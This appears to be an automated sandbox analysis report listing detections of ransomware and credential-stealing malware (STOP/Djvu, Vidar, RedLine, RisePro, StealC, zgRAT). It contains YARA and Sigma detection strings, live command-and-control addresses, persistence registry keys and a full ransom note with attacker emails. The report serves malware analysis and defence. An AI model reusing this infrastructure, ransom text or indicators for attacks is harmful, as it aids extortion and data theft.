0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000008.00000002.1925118088.00000000042D9000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000016.00000002.1925795583.00000000007EB000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000002.2913300162.0000000000572000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2282956146.0000000005F44000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000003.2021774077.0000000005BBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: NRN3O_fFwiqNbjNW0Hj0MSKB.exe PID: 3912	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ezK8JIVGtHF75lpAeZwSuYWB.exe PID: 5344	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: ezK8JIVGtHF75lpAeZwSuYWB.exe PID: 5344	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: F2MwMOxTR5ZuDHHYSd2btGVy.exe PID: 5236	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: F2MwMOxTR5ZuDHHYSd2btGVy.exe PID: 5236	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: oRz0dgUR_xvbQVyt3Uz7F7QO.exe PID: 984	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: oRz0dgUR_xvbQVyt3Uz7F7QO.exe PID: 984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: _C5tySJGGF0UA_S78re9UWIo.exe PID: 7140	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Dnr7f7kJx0GzWtxbQaDXLIUA.exe PID: 7064	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: r7sW8wNeP3sav5N1yYLUJzML.exe PID: 3512	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: r7sW8wNeP3sav5N1yYLUJzML.exe PID: 3512	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 66 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
15.2.F2MwMOxTR5ZuDHHYSd2btGVy.exe.6f0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.2.F2MwMOxTR5ZuDHHYSd2btGVy.exe.6f0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x44818:$s1: JohnDoe 0x44810:$s2: HAL9TH
29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44171:$s1: file:/// 0x440cd:$s2: {11111-22222-10009-11112} 0x44101:$s3: {11111-22222-50001-00000} 0x41283:$s4: get_Module 0x3b664:$s5: Reverse 0x3c348:$s6: BlockCopy 0x3b62d:$s7: ReadByte 0x44183:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
25.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x221e8:$s2: HAL9TH
8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
17.0._C5tySJGGF0UA_S78re9UWIo.exe.ca0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
18.2.Dnr7f7kJx0GzWtxbQaDXLIUA.exe.190000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x45f71:$s1: file:/// 0x45ecd:$s2: {11111-22222-10009-11112} 0x45f01:$s3: {11111-22222-50001-00000} 0x43083:$s4: get_Module 0x3d464:$s5: Reverse 0x3e148:$s6: BlockCopy 0x3d42d:$s7: ReadByte 0x45f83:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 47 entries

Sigma Signatures

System Summary

Sigma detected: Conhost Spawned By Uncommon Parent Process

Source: Process started

Author: Tim Rauch: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\Conhost.exe, NewProcessName: C:\Windows\System32\Conhost.exe, OriginalFileName: C:\Windows\System32\Conhost.exe, ParentCommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, ParentImage: C:\Windows\System32\svchost.exe, ParentProcessId: 6828, ParentProcessName: svchost.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 5088, ProcessName: Conhost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe, ProcessId: 5344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",, CommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl", , ParentImage: C:\Windows\SysWOW64\control.exe, ParentProcessId: 7544, ParentProcessName: control.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",, ProcessId: 7700, ProcessName: rundll32.exe

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, ProcessId: 6664, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Extensions

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, CommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc, ProcessId: 6828, ProcessName: svchost.exe

Snort Signatures

ET TROJAN Suspected PrivateLoader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 85.192.56.26

Timestamp:	05/24/24-13:42:02.108891
SID:	2049837
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Avira: detection malicious, Label: HEUR/AGEN.1317026
Source: C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe	Avira: detection malicious, Label: HEUR/AGEN.1317026

Found malware configuration

Source: 00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": [""], "C2 url": "http://cajgtus.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/33b490a613f49fa190924f199d2c079e20240512191214/caaf73\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0873PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\de
Source: 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199689717899"], "Botnet": "c21b45a432889af65aa05cd66920d0a2", "Version": "9.8"}
Source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.raw.unpack	Malware Configuration Extractor: GCleaner {"C2 addresses": ["185.172.128.90"]}
Source: Dnr7f7kJx0GzWtxbQaDXLIUA.exe.7064.18.memstrmin	Malware Configuration Extractor: RedLine {"C2 url": "5.42.65.115:40551"}
Source: va2JQfwFWdGawVd2zp4LeR00.exe.3052.10.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.170/7043a0c6a68d9c65.php"}

Multi AV Scanner detection for domain / URL

Source: lop.foxesjoy.com	Virustotal: Detection: 16%	Perma Link
Source: f.alie3ksggg.com	Virustotal: Detection: 13%	Perma Link
Source: api.2ip.ua	Virustotal: Detection: 6%	Perma Link
Source: env-3936544.jcloud.kz	Virustotal: Detection: 5%	Perma Link
Source: iplis.ru	Virustotal: Detection: 11%	Perma Link
Source: service-domain.xyz	Virustotal: Detection: 12%	Perma Link
Source: monoblocked.com	Virustotal: Detection: 14%	Perma Link
Source: sta.alie3ksgee.com	Virustotal: Detection: 8%	Perma Link
Source: api2.check-data.xyz	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe (copy)	ReversingLabs: Detection: 44%
Source: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	ReversingLabs: Detection: 44%
Source: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe (copy)	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Retailer_prog[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inte[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\default_s[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Default12_s[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\TWO[1].file	ReversingLabs: Detection: 52%
